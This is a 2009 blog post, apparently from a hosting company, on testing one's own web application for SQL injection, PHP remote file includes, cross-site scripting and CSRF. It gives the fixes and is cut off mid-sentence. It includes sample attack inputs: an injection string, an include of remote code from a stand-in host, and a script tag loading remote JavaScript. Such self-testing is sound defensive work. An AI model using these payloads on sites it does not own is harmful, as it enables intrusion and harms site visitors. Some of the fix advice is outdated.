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Top 5 Ways to Hack into Your Web Application (and how toclose those security loopholes!)
May 27th, 2009 by Patrick M. 
Are you familiar with white hat hacking? If you aren’t, you should be. White hat hacking is a planned attack that checks your systems for vulnerabilities. After the hacker successfully (andharmlessly) compromises your environment, they tell you what to do to fix it.Even though most security loopholes are well-documented, I’m surprised how many open exploitsare in applications that we security scan here at INetU. So stand by for a little White Hat Hacking101, where I’ll teach you how to hack into your own site.
Hack One: Injection Attacks
I’ll start with injection exploits because most IT professionals, even though they have cursory basicunderstanding of the dangers, leave too many sites open to the vulnerability, according to the OpenWeb Applications Security Project(OWASP). Injection is passing malicious user-supplied data toan interpreter. The most common form is SQL Injection, where the hacker passes a SQL commandto your database. Are you at risk? Let’s find out.Find a page on your application that accepts user-supplied information to access a database:
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A login form, signup form, or “forgot password” form is a good start.
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A dynamic page that uses URL variables such as ID (product information pages are goodfor this).Knowing that the database command takes the user-supplied information into a WHERE clause, tryto finish the command with SQL that will throw an error. So on our login form, perhaps we want totry putting this into the username: username’ or fake_column IS NULL. If you are greeted with adatabase error message page, success! You’ve hacked your own site.
The Risk:
Our hack above seems pretty harmless, but it just finds the place in your applicationsusceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.
The Fix:
There are two main ways to protect your site from injection: 1) always sanitize user-submitted data (if a username can’t contain a single quote character, don’t let users enter it), and 2)use a web-specific database login that has the least permissions necessary to perform its tasks (your web application doesn’t need admin access to your database). OWASP has aSQL InjectionPrevention Cheat Sheetthat is also particularly helpful.
Hack Two: PHP Remote File Includes
If your site doesn’t use any PHP, then good news: you’re safe! But according to the SANS Institute,PHP is themost popular web application framework . When used properly, PHP can be a very powerful and useful tool for a number of different applications. Perhaps because of its popularity,it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is afavorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.Are you at risk? Let’s find out.
 
Find a PHP script that uses the include() function. If you have a path name in the include, change itto the absolute URL equivalent. If the file still works after this change, success! You’ve just hackedyour own site.
The Risk:
Okay, the hacker might need to do a little more legwork in this example, but it severelyincreases the surface area for attack. All a hacker needs to do is find one file to manipulate and addthe line: include(’http://www.example.com/malicious_code.php’) and you are compromised.Compromise might include password stealing, remote root kit installation, and in some casescomplete system compromise.
The Fix:
Turning off allow_url_fopen is the most obvious fix, but if that isn’t an option, you cantry turning on PHP’s safe mode to prevent the most common malicious functions from executing onyour server. Keep PHP updated with the latest security patches and be aware of emerging threats byfollowing tech news outlets.
Hack Three: Cross Site Scripting (XSS)
Cross Site Scripting occurs when a website takes malicious user input and, without question, poststhe input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions andinteract with more websites, XSS hacks are becoming an ever-prevalent problem, possibly soon to be themost common vulnerability on the Internet.So are you at risk? Let’s find out.Search your application for a page that takes user input and outputs it directly to a webpage.Common examples:
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Forums
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Comments
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Wikis
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ReviewsCraft a post that calls on JavaScript from an outside server. For example, try to post: This is ahacked entry <script src=”http://www.example.com/malicious.js”></script>. Now load the pagewhere that post is outputted. Did your script run? Then success! You’ve just hacked your own site.
The Risk:
The risk here is both for you and for your visitors. First, this opens your visitors toworms infected through the linked malicious code. Second, your site can be defaced with code thatmanipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status.Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).
The Fix:
Fixing XSS and CSRF vulnerabilities require the same steps, so read below.
Hack Four: Cross Site Request Forgeries (CSRF)
In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. If you areat risk for XSS, then you might be at risk for a CSRF attack. Are you? Let’s find out.Does your application rely on credentials, like session cookies, to grant permissions to users onyour site? If you don’t know offhand, try taking a look at the cookies your browser is storing whenyou login to your application. Even easier, if your site has a “remember me” feature for logging in,
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